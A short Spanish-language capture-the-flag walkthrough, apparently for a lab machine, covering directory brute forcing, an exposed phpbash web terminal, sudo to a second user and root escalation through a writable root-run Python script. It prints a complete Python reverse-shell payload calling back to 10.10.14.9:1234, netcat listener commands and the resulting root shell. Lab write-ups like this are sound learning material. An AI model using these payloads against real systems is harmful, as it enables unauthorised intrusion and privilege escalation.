Esta fue una maquina interensante pero estuvo muy fácil y sin MSF 🙂

Empezamos con un nmap (sparta)

Como solo había un webserver use dirbuster medium.

Starting OWASP DirBuster 1.0-RC1
Starting dir/file list based brute forcing
Dir found: / - 200
Dir found: /images/ - 200
Dir found: /php/ - 200
File found: /uploads - 301
Dir found: /icons/ - 403
File found: /index.html - 200
File found: /single.html - 200
Dir found: /js/ - 200
File found: /php - 301
File found: /js/imagesloaded.pkgd.js - 200
File found: /js/jquery.js - 200
File found: /js/jquery.nicescroll.min.js - 200
File found: /js/jquery.smartmenus.min.js - 200
Dir found: /css/ - 200
File found: /js/jquery.mousewheel.min.js - 200
File found: /js/jquery.carouFredSel-6.0.0-packed.js - 200
File found: /js/jquery.touchSwipe.min.js - 200
File found: /js/jquery.easing.1.3.js - 200
File found: /php/sendMail.php - 200
File found: /js/main.js - 200
Dir found: /uploads/ - 200
File found: /css - 301
Dir found: /dev/ - 200
Dir found: /demo-images/ - 200
File found: /js/custom_google_map_style.js - 200
File found: /js/html5.js - 200
File found: /images - 301
File found: /css/carouFredSel.css - 200
File found: /css/common.css - 200
File found: /dev - 301
File found: /css/font-awesome.min.css - 200
File found: /css/sm-clean.css - 200
File found: /dev/phpbash.min.php - 200
File found: /config.php - 200
File found: /dev/phpbash.php - 200
File found: /css/clear.css - 200
File found: /js - 301

Lo más interesante es /dev/phpbashmin.php

No se ve muy bien en la foto pero lo de abajo es una terminal

Con Linenum podemos ver que podemos ser scriptmanager sin ninguna restricción.

sudo -u scriptmanager whoami

El detalle es que no era persistente, es por eso que subimos una php-reverse-shell (que se activa accediendo a ella en el url) a la carpeta de uploads.

Esta shell esta en kali y tambien en pentestmonkey

Despues de eso y el nc -nlvp (puerto)

Sudo -u scriptmanager bash

hace al usuario “persistente”

Si checas lo raro en la maquina veras que test.py puede ser modificado y es ejecutado por root.

Si copias el contenido con cat archivo > archivo2

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.9",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

Tienes una reverse shell con root 🙂

root@Kali2:~/Downloads# nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.10.68] 33650
/bin/sh: 0: can't access tty; job control turned off
# whoami
root

Y listo 🙂